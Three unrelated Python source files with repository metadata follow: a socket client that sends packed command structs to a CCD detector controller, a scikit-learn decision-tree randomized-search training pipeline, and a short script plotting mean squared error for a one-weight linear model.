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import socket import struct from new_controller_constants import * from new_controller_messaging import mysocket # for the messages to the controller this comes from the c struct on the server # typedef struct { # int cmd; # int nw; # char strmsg[128]; # lbnldata_t data[MAXCMDWORDS]; MAXCMDWORDS=12 (unsigned ints) # 4-bytes per int (signed or unsigned) #} cmdstruct_t; # for the messages from the controller this comes from the c struct on the server # typedef struct { # char strmsg[128]; # lbnldata_t data[MAXRESPWORDS]; # int status; #} respstruct_t; # message TO the controller have format: format_ = "ii128s12i" # messages FROM the controller have format: format_from_controller_ = "128s12ii" cmd = 0 nw = 0 string_message = "" d00 = 0; d01 = 10; d02 = 20; d03 = 30 d04 = 40; d05 = 50; d06 = 60; d07 = 70 d08 = 80; d09 = 90; d10 = 100; d11 = 110 # maybe nice to create a class for the controller as well sock = mysocket() def connect_socket_to_controller(): sock.connect('ccd-spectro.dhcp.lbl.gov', 15001) def open_controller(): """ Establishes a lock and a driver file descriptor, method to take ownership of controller """ cmd = LBNL_OPEN tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def close_controller(): """ Deletes lock and resets driver file descriptor, releases ownership of controller """ cmd = LBNL_CLOSE tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def controller_analog_power_on(): """ Turn ON Analog power on controller (VDD, VReset.. DC-DCs) """ cmd = LBNL_POWER d00 = 1 tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def controller_analog_power_off(): """ Turn ON Analog power on controller (VDD, VReset.. DC-DCs) """ cmd = LBNL_POWER d00 = 0 tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def set_image_size(nx,ny): """ Set the ccd image size, with nx pixels in x and ny pixels in y """ cmd = LBNL_IMSIZE d00 = nx d01 = ny tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def set_artificial_data(artificial): """ Set the flag for artificial data, artificial=0 is real image data, non-zero is artificial """ cmd = LBNL_ARTIF_DATA d00 = artificial tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) if (r_status != 0): print msg_str return r_status def get_image_size(): """ Get the ccd image size, with nx pixels in x and ny pixels in y """ cmd = LBNL_GET_IMSIZE tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) nx = -1 ny = -1 if (r_status != 0): print msg_str else: nx = dr00 ny = dr01 print nx,ny return r_status, nx, ny def read_register(reg_add0, reg_add1): """ Read a register value. Input is ... Output is a 32bit unsigned """ cmd = LBNL_GET_REG d00 = reg_add0 d01 = reg_add1 tuple_to_send = (cmd ,nw, string_message, d00, d01, d02, d03, d04, d05, d06, d07, d08, d09, d10, d11) string_to_send = struct.pack(format_, *tuple_to_send) sock.mysend(string_to_send) # receive the reply from controller recv_message = sock.myreceive() msg_str,dr00,dr01,dr02,dr03,dr04,dr05,dr06,dr07,dr08,dr09,dr10,dr11,r_status = struct.unpack(format_from_controller_,recv_message) reg_value = -9999 if (r_status != 0): print msg_str else: reg_value = dr00 print "Register: "+str(reg_add0)+" "+str(reg_add1)+" is: "+str(reg_value) return r_status, reg_value

[ "azriel.goldschmidt@gmail.com" ]

azriel.goldschmidt@gmail.com

466a40a7cef03f6066e86be88110b116a3c6c2a1

d25cfc9256c18c53b3f6b36657f4b0fb5f8f6ffa

/metrix_ml/decisiontree_randomsearch_normed.py

e83e3cd46e9a8144091e63accffd984bf15a04ad

[ "BSD-3-Clause" ]

permissive

mevol/metrix_ml

becd012312a2f82f5a7815f2ae7c2d3b550446b3

f09ef35eeec8fe64fce83bb238f1ba75362856ce

refs/heads/master

2022-03-09T06:36:02.623092

2022-02-21T14:51:01

140,827,932

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############################################################################### # # imports and set up environment # ############################################################################### '''Defining the environment for this class''' import argparse import pandas as pd import os import numpy as np import joblib import logging from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import roc_auc_score from sklearn.model_selection import RandomizedSearchCV from sklearn.preprocessing import MinMaxScaler from datetime import datetime from scipy.stats import randint from scipy.stats import uniform from tbx import get_confidence_interval, feature_importances_best_estimator from tbx import feature_importances_error_bars, confusion_matrix_and_stats from tbx import training_cv_stats, testing_predict_stats, plot_hist_pred_proba from tbx import plot_precision_recall_vs_threshold, plot_roc_curve, evaluate_threshold from tbx import calibrate_classifier, plot_radar_chart, print_to_consol def make_output_folder(outdir): '''A small function for making an output directory Args: outdir (str): user provided directory where the output directory will be created output_dir (str): the newly created output directory named "decisiontree_randomsearch_normed" Yields: directory ''' output_dir = os.path.join(outdir, 'decisiontree_randomsearch_normed') os.makedirs(output_dir, exist_ok=True) return output_dir class TreeRandSearch(): ''' A class to conduct a randomised search and training for best parameters for a decision tree; the following steps are executed: * loading input data in CSV format * creating output directory to write results files to * set up a log file to keep note of stats and processes * prepare the input data by splitting into a calibration (5%), testing (20%) and training (80%) sets and applying MinMaxScaling * conduct randomised search to find best parameters for the best predictor * save model to disk * get 95% confidence interval for uncalibrated classifier * get feature importances * get statistics for training using 3-fold cross-validation and testing * get more detailed statistics and plots for prediction performances on the testing set; this includes a confusion matrix, histogram of prediction probabilities, precision-recall curve and ROC curve * explore sensitivity/specificity trade-off when using different probability thresholds * calibrate the predictor and write the calibrated version to disk * get 95% confidence interval for calibrated classifier Args: data (str): file path to the input CSV file directory (str): target output directory where an output folder will be created and all results will be written to numf (int): maximum number of features to use in training; default = 10 numc (int): number of search cycles for randomised search; default = 500 cv (int): number of cross-validation cycles to use during training; default = 3 bootiter (int): number of bootstrap cylces to use for getting confidence intervals; default = 1000 Yields: trained predictor: "best_predictor_<date>.pkl" trained and calibrated predictor: "best_predictor_calibrated_<date>.pkl" logfile: "decisiontree_randomsearch.log" plots: "bootstrap_hist_uncalibrated_<date>.png" "feature_importances_best_bar_plot_<date>.png" "feature_importances_all_error_bars_<date>.png" "confusion_matrix_for_test_set_<date>.png" "hist_pred_proba_<date>.png" "Precision_Recall_<date>.png" "ROC_curve_<date>.png" "bootstrap_hist_calibrated_<date>.png" "radar_plot_prediction_metrics<date>.png" ''' def __init__(self, data, directory, numf, numc, cv, bootiter): self.numf = numf self.numc = numc self.cv = cv self.bootiter = bootiter self.data = pd.read_csv(data) self.directory = make_output_folder(directory) logging.basicConfig(level=logging.INFO, filename=os.path.join(self.directory, 'decisiontree_randomsearch.log'), filemode='w') logging.info(f'Loaded input data \n' f'Created output directories at {self.directory} \n') self.start = datetime.now() self.prepare_data() self.randomised_search() self.get_training_testing_prediction_stats() self.detailed_analysis() ############################################################################### # # prepare input data # ############################################################################### def prepare_data(self): print_to_consol('Preparing input data and split in train/test/calibration set') for name in self.data.columns: if 'success' in name or "ground_truth" in name: y = self.data[name] X = self.data.drop([name, 'Unnamed: 0'], axis=1).select_dtypes( exclude=['object']) # create a 5% calibration set if needed X_temp, X_cal, y_temp, self.y_cal = train_test_split(X, y, test_size=0.05, random_state=42) # use the remaining data for 80/20 train-test split X_train, X_test, self.y_train, self.y_test = train_test_split(X_temp, y_temp, test_size=0.2, random_state=100) scaler = MinMaxScaler() scaler.fit(X_train) X_train_scaled = scaler.transform(X_train) X_test_scaled = scaler.transform(X_test) X_cal_scaled = scaler.transform(X_cal) self.X_train_scaled = pd.DataFrame(data=X_train_scaled, index=X_train.index, columns=X_train.columns) self.X_test_scaled = pd.DataFrame(data=X_test_scaled, index=X_test.index, columns=X_test.columns) self.X_cal_scaled = pd.DataFrame(data=X_cal_scaled, index=X_cal.index, columns=X_cal.columns) logging.info(f'Created test, train and validation set \n' f'Normalizing the train set and applying to test set and calibration set \n') ############################################################################### # # randomized search # ############################################################################### def randomised_search(self): print_to_consol('Running randomized search to find best classifier') #create the decision forest clf1 = DecisionTreeClassifier(random_state=20, class_weight='balanced', max_features = self.numf) logging.info(f'Initialised classifier') #set up randomized search param_dict = { 'criterion': ['gini', 'entropy'], 'min_samples_split': randint(2, 20), 'max_depth': randint(1, 10), 'min_samples_leaf': randint(1, 20), 'max_leaf_nodes': randint(10, 20)} logging.info(f'Following parameters will be explored in randomized search \n' f'{param_dict} \n') #building and running the randomized search rand_search = RandomizedSearchCV(clf1, param_dict, random_state=5, cv=self.cv, n_iter=self.numc, scoring='accuracy', n_jobs=-1) rand_search_fitted = rand_search.fit(self.X_train_scaled, self.y_train) best_parameters = rand_search_fitted.best_params_ best_scores = rand_search_fitted.best_score_ logging.info(f'Running randomised search for best patameters of classifier \n' f'Best parameters found: {best_parameters} \n' f'Best accuracy scores found: {best_scores} \n') self.model = rand_search_fitted.best_estimator_ datestring = datetime.strftime(datetime.now(), '%Y%m%d_%H%M') joblib.dump(self.model, os.path.join(self.directory, 'best_predictor_'+datestring+'.pkl')) logging.info(f'Writing best classifier to disk in {self.directory} \n') print_to_consol('Getting 95% confidence interval for uncalibrated classifier') alpha, upper, lower = get_confidence_interval(self.X_train_scaled, self.y_train, self.X_test_scaled, self.y_test, self.model, self.directory, self.bootiter, 'uncalibrated') logging.info(f'{alpha}% confidence interval {upper}% and {lower}% \n' f'for uncalibrated classifier. \n') print_to_consol('Getting feature importances for best classifier') best_clf_feat_import = self.model.feature_importances_ best_clf_feat_import_sorted = sorted(zip(best_clf_feat_import, self.X_train_scaled.columns), reverse=True) logging.info(f'Feature importances for best classifier {best_clf_feat_import_sorted} \n') print_to_consol('Plotting feature importances for best classifier') feature_importances_best_estimator(best_clf_feat_import_sorted, self.directory) logging.info(f'Plotting feature importances for best classifier in decreasing order \n') ############################################################################### # # get training and testing stats # ############################################################################### def get_training_testing_prediction_stats(self): print_to_consol('Getting basic stats for training set and cross-validation') training_stats, y_train_pred, y_train_pred_proba = training_cv_stats( self.model, self.X_train_scaled, self.y_train, self.cv) logging.info(f'Basic stats achieved for training set and 3-fold CV \n' f'Accuracy for each individual fold of 3 CV folds: {training_stats["acc_cv"]} \n' f'Accuracy across all 3 CV-folds: {training_stats["acc"]} \n' f'ROC_AUC across all 3 CV-folds: {training_stats["roc_auc"]} \n' f'Recall across all 3 CV-folds: {training_stats["recall"]} \n' f'Precision across all 3 CV-folds: {training_stats["precision"]} \n' f'F1 score across all 3 CV-folds: {training_stats["f1-score"]} \n' f'Storing cross-validated y_train classes in y_train_pred \n' f'Storing cross-validated y_train probabilities in y_train_pred_proba \n') print_to_consol('Getting class predictions and probabilities for test set') test_stats, self.y_pred, self.y_pred_proba = testing_predict_stats( self.model, self.X_test_scaled, self.y_test) logging.info(f'Predicting on the test set. \n' f'Storing classes in y_pred and probabilities in y_pred_proba \n') print_to_consol( 'Calculate prediction stats for y_pred and y_pred_proba of test set') logging.info(f'Basic stats on the test set. \n' f'Prediction accuracy on the test set: {test_stats["predict_acc"]} \n' f'Class distributio in the test set: {test_stats["class_distribution"]} \n' f'Matthews Correlation Coefficient: {test_stats["mcc"]} \n' f'Average number of class 1 samples: {test_stats["class_one"]} \n' f'Average number of class 0 samples: {test_stats["class_zero"]} \n' f'Null accuracy: {test_stats["null_acc"]} \n') print_to_consol( 'Plotting histogram for class 1 prediction probabilities for test set') #store the predicted probabilities for class 1 of test set self.y_pred_proba_ones = self.y_pred_proba[:, 1] plot_hist_pred_proba(self.y_pred_proba_ones, self.directory) logging.info( f'Plotting prediction probabilities for class 1 in test set in histogram. \n') ############################################################################### # # get more detailed stats and plots # ############################################################################### def detailed_analysis(self): print_to_consol('Making a confusion matrix for test set classification outcomes') matrix_stats = confusion_matrix_and_stats(self.y_test, self.y_pred, 'before_cal', self.directory) logging.info(f'Detailed analysis of confusion matrix for test set. \n' f'True positives: {matrix_stats["TP"]} \n' f'True negatives: {matrix_stats["TN"]} \n' f'False positives: {matrix_stats["FP"]} \n' f'False negatives: {matrix_stats["FN"]} \n' f'Classification accuracy: {matrix_stats["acc"]} \n' f'Classification error: {matrix_stats["err"]} \n' f'Sensitivity: {matrix_stats["sensitivity"]} \n' f'Specificity: {matrix_stats["specificity"]} \n' f'False positive rate: {matrix_stats["FP-rate"]} \n' f'False negative rate: {matrix_stats["FN-rate"]} \n' f'Precision: {matrix_stats["precision"]} \n' f'F1-score: {matrix_stats["F1-score"]} \n') print_to_consol( 'Plotting precision recall curve for test set class 1 probabilities') logging.info( f'Plotting precision recall curve for class 1 in test set probabilities. \n') plot_precision_recall_vs_threshold(self.y_test, self.y_pred_proba_ones, self.directory) print_to_consol( 'Plotting ROC curve ad calculating AUC for test set class 1 probabilities') logging.info( f'Plotting ROC curve for class 1 in test set probabilities. \n') self.fpr, self.tpr, self.thresholds = plot_roc_curve(self.y_test, self.y_pred_proba_ones, self.directory) AUC = round(roc_auc_score(self.y_test, self.y_pred_proba_ones) * 100, 2) logging.info( f'Calculating AUC for ROC curve for class 1 in test set probabilities: {AUC} \n') print_to_consol('Make a radar plot for performance metrics') radar_dict = {'Classification accuracy' : matrix_stats["acc"], 'Classification error' : matrix_stats["err"], 'Sensitivity' : matrix_stats["sensitivity"], 'Specificity' : matrix_stats["specificity"], 'False positive rate' : matrix_stats["FP-rate"], 'False negative rate' : matrix_stats["FN-rate"], 'Precision' : matrix_stats["precision"], 'F1-score' : matrix_stats["F1-score"], 'ROC AUC' : AUC} plot_radar_chart(radar_dict, self.directory) print_to_consol( 'Exploring probability thresholds, sensitivity, specificity for class 1') threshold_dict = evaluate_threshold(self.tpr, self.fpr, self.thresholds) logging.info( f'Exploring different probability thresholds and sensitivity-specificity trade-offs. \n' f'Threshold 0.2: {threshold_dict["0.2"]} \n' f'Threshold 0.3: {threshold_dict["0.3"]} \n' f'Threshold 0.4: {threshold_dict["0.4"]} \n' f'Threshold 0.5: {threshold_dict["0.5"]} \n' f'Threshold 0.6: {threshold_dict["0.6"]} \n' f'Threshold 0.7: {threshold_dict["0.7"]} \n' f'Threshold 0.8: {threshold_dict["0.8"]} \n' f'Threshold 0.9: {threshold_dict["0.9"]} \n') print_to_consol( 'Calibrating classifier and writing to disk; getting new accuracy') self.calibrated_clf, clf_acc = calibrate_classifier(self.model, self.X_cal_scaled, self.y_cal) date = datetime.strftime(datetime.now(), '%Y%m%d_%H%M') joblib.dump(self.calibrated_clf, os.path.join(self.directory, 'best_calibrated_predictor_'+date+'.pkl')) logging.info( f'Calibrated the best classifier with X_cal and y_cal and new accuracy {clf_acc}\n' f'Writing file to disk disk in {self.directory} \n') print_to_consol('Getting 95% confidence interval for calibrated classifier') alpha, upper, lower = get_confidence_interval(self.X_train_scaled, self.y_train, self.X_test_scaled, self.y_test, self.calibrated_clf, self.directory, self.bootiter, 'calibrated') logging.info(f'{alpha}% confidence interval {upper}% and {lower}% \n' f'for calibrated classifier. \n') print_to_consol('Running prediction for calibrated classifier') print_to_consol( 'Getting class predictions and probabilities for test set with calibrated classifier') test_stats_cal, self.y_pred_cal, self.y_pred_proba_cal = testing_predict_stats( self.calibrated_clf, self.X_test_scaled, self.y_test) logging.info( f'Predicting on the test set with calibrated classifier. \n' f'Storing classes for calibrated classifier in y_pred and probabilities in y_pred_proba. \n') print_to_consol( 'Calculate prediction stats for y_pred and y_pred_proba of test set with calibrated classifier') logging.info(f'Basic stats on the test set woth calibrated classifier. \n' f'Prediction accuracy on the test set: {test_stats_cal["predict_acc"]} \n' f'Class distributio in the test set: {test_stats_cal["class_distribution"]} \n' f'Matthews Correlation Coefficient: {test_stats_cal["mcc"]} \n' f'Average number of class 1 samples: {test_stats_cal["class_one"]} \n' f'Average number of class 0 samples: {test_stats_cal["class_zero"]} \n' f'Null accuracy: {test_stats_cal["null_acc"]} \n') print_to_consol( 'Plotting histogram for class 1 prediction probabilities for test set') #store the predicted probabilities for class 1 of test set self.y_pred_proba_cal_ones = self.y_pred_proba_cal[:, 1] plot_hist_pred_proba(self.y_pred_proba_cal_ones, self.directory) logging.info( f'Plotting prediction probabilities for class 1 in test set in histogram for calibrated classifier. \n') print_to_consol( 'Making a confusion matrix for test set classification outcomes with calibrated classifier') matrix_stats_cal = confusion_matrix_and_stats(self.y_test, self.y_pred_cal, 'after_cal', self.directory) logging.info(f'Detailed analysis of confusion matrix for test set with calibrated classifier. \n' f'True positives: {matrix_stats_cal["TP"]} \n' f'True negatives: {matrix_stats_cal["TN"]} \n' f'False positives: {matrix_stats_cal["FP"]} \n' f'False negatives: {matrix_stats_cal["FN"]} \n' f'Classification accuracy: {matrix_stats_cal["acc"]} \n' f'Classification error: {matrix_stats_cal["err"]} \n' f'Sensitivity: {matrix_stats_cal["sensitivity"]} \n' f'Specificity: {matrix_stats_cal["specificity"]} \n' f'False positive rate: {matrix_stats_cal["FP-rate"]} \n' f'False negative rate: {matrix_stats_cal["FN-rate"]} \n' f'Precision: {matrix_stats_cal["precision"]} \n' f'F1-score: {matrix_stats_cal["F1-score"]} \n') print_to_consol( 'Plotting precision recall curve for test set class 1 probabilities with calibrated classifier') logging.info( f'Plotting precision recall curve for class 1 in test set probabilities with calibrated classifier. \n') plot_precision_recall_vs_threshold(self.y_test, self.y_pred_proba_cal_ones, self.directory) print_to_consol( 'Plotting ROC curve ad calculating AUC for test set class 1 probabilities with calibrated classifier') logging.info( f'Plotting ROC curve for class 1 in test set probabilities with calibrated classifier. \n') self.fpr_cal, self.tpr_cal, self.thresholds_cal = plot_roc_curve(self.y_test, self.y_pred_proba_cal_ones, self.directory) AUC_cal = round(roc_auc_score(self.y_test, self.y_pred_proba_cal_ones) * 100, 2) logging.info( f'Calculating AUC for ROC curve for class 1 in test set probabilities with calibrated classifier: {AUC_cal} \n') print_to_consol('Make a radar plot for performance metrics with calibrated classifier') radar_dict_cal = {'Classification accuracy' : matrix_stats_cal["acc"], 'Classification error' : matrix_stats_cal["err"], 'Sensitivity' : matrix_stats_cal["sensitivity"], 'Specificity' : matrix_stats_cal["specificity"], 'False positive rate' : matrix_stats_cal["FP-rate"], 'False negative rate' : matrix_stats_cal["FN-rate"], 'Precision' : matrix_stats_cal["precision"], 'F1-score' : matrix_stats_cal["F1-score"], 'ROC AUC' : AUC_cal} plot_radar_chart(radar_dict_cal, self.directory) print_to_consol( 'Exploring probability thresholds, sensitivity, specificity for class 1 with calibrated classifier') threshold_dict_cal = evaluate_threshold(self.tpr_cal, self.fpr_cal, self.thresholds_cal) logging.info( f'Exploring different probability thresholds and sensitivity-specificity trade-offs \n' f'for calibrated classifier. \n' f'Threshold 0.2: {threshold_dict_cal["0.2"]} \n' f'Threshold 0.3: {threshold_dict_cal["0.3"]} \n' f'Threshold 0.4: {threshold_dict_cal["0.4"]} \n' f'Threshold 0.5: {threshold_dict_cal["0.5"]} \n' f'Threshold 0.6: {threshold_dict_cal["0.6"]} \n' f'Threshold 0.7: {threshold_dict_cal["0.7"]} \n' f'Threshold 0.8: {threshold_dict_cal["0.8"]} \n' f'Threshold 0.9: {threshold_dict_cal["0.9"]} \n') end = datetime.now() duration = end - self.start logging.info(f'Training lasted for {duration} minutes \n') logging.info(f'Training completed \n') print_to_consol('Training completed') def run(input_csv, output_dir, features, cycles, boot_iter, cv): TreeRandSearch(input_csv, output_dir, features, cycles, boot_iter, cv) def main(): '''defining the command line input to make it runable''' parser = argparse.ArgumentParser(description='DecisionTree randomized search') parser.add_argument( '--input', type=str, dest='input', default='', help='The input CSV file') parser.add_argument( '--outdir', type=str, dest='outdir', default='', help='Specify output directory') parser.add_argument( '--num_features', type=int, dest='num_features', default=10, help='Number of features to look for') parser.add_argument( '--num_cycles', type=int, dest='num_cycles', default=500, help='Number of randomized search cycles') parser.add_argument( '--cv', type=int, dest='cv', default=3, help='Number of cross-validation repeats to use during training') parser.add_argument( '--boot_iter', type=int, dest='boot_iter', default=1000, help='Number of bootstrap cycles') args = parser.parse_args() if args.input == '': parser.print_help() exit(0) run(args.input, args.outdir, args.num_features, args.num_cycles, args.cv, args.boot_iter) if __name__ == "__main__": main()

[ "melanie.vollmar@diamond.ac.uk" ]

melanie.vollmar@diamond.ac.uk

63e498a3b73548e8213de06933bc5cb6abb190f5

ba3556d1c76a04e6a978a7aa656bb24f48cf18d0

/no.0_liner_model.py

c62baa9eb14eed6b11c8e86b2d10cf6333c375fd

[]

no_license

AugusterHub/Pytorch

f763d134b5a027123a6328915fbcd70f2379bcdf

a139288c95af672c029bfb277d45f926473c5d5e

refs/heads/master

2023-07-09T03:49:16.461324

2021-08-15T08:03:42

396,273,316

0

null

UTF-8

Python

false

768

py

#!/usr/bin/python # -*- coding: UTF-8 -*- """ 0 线性模型 """ import numpy as np import matplotlib.pyplot as plt x_data = [1.0, 2.0, 3.0] y_data = [2.0, 4.0, 6.0] def forward(x): # 前向传播 return x * w def loss(x, y): # 定义loss y_pred = forward(x) return (y_pred - y) * (y_pred - y) w_list = [] mse_list = [] for w in np.arange(0.0, 4.1, 0.1): print('w=', w) l_sum = 0 for x_val, y_val in zip(x_data, y_data): y_pred_val = forward(x_val) loss_val = loss(x_val, y_val) l_sum += loss_val print('\t', x_val, y_val, y_pred_val, loss_val) print('MSE=', l_sum / 3) w_list.append(w) mse_list.append(l_sum / 3) plt.plot(w_list, mse_list) plt.ylabel('loss') plt.xlabel('w') plt.show()

[ "zhaipeng@topscomm.com" ]

zhaipeng@topscomm.com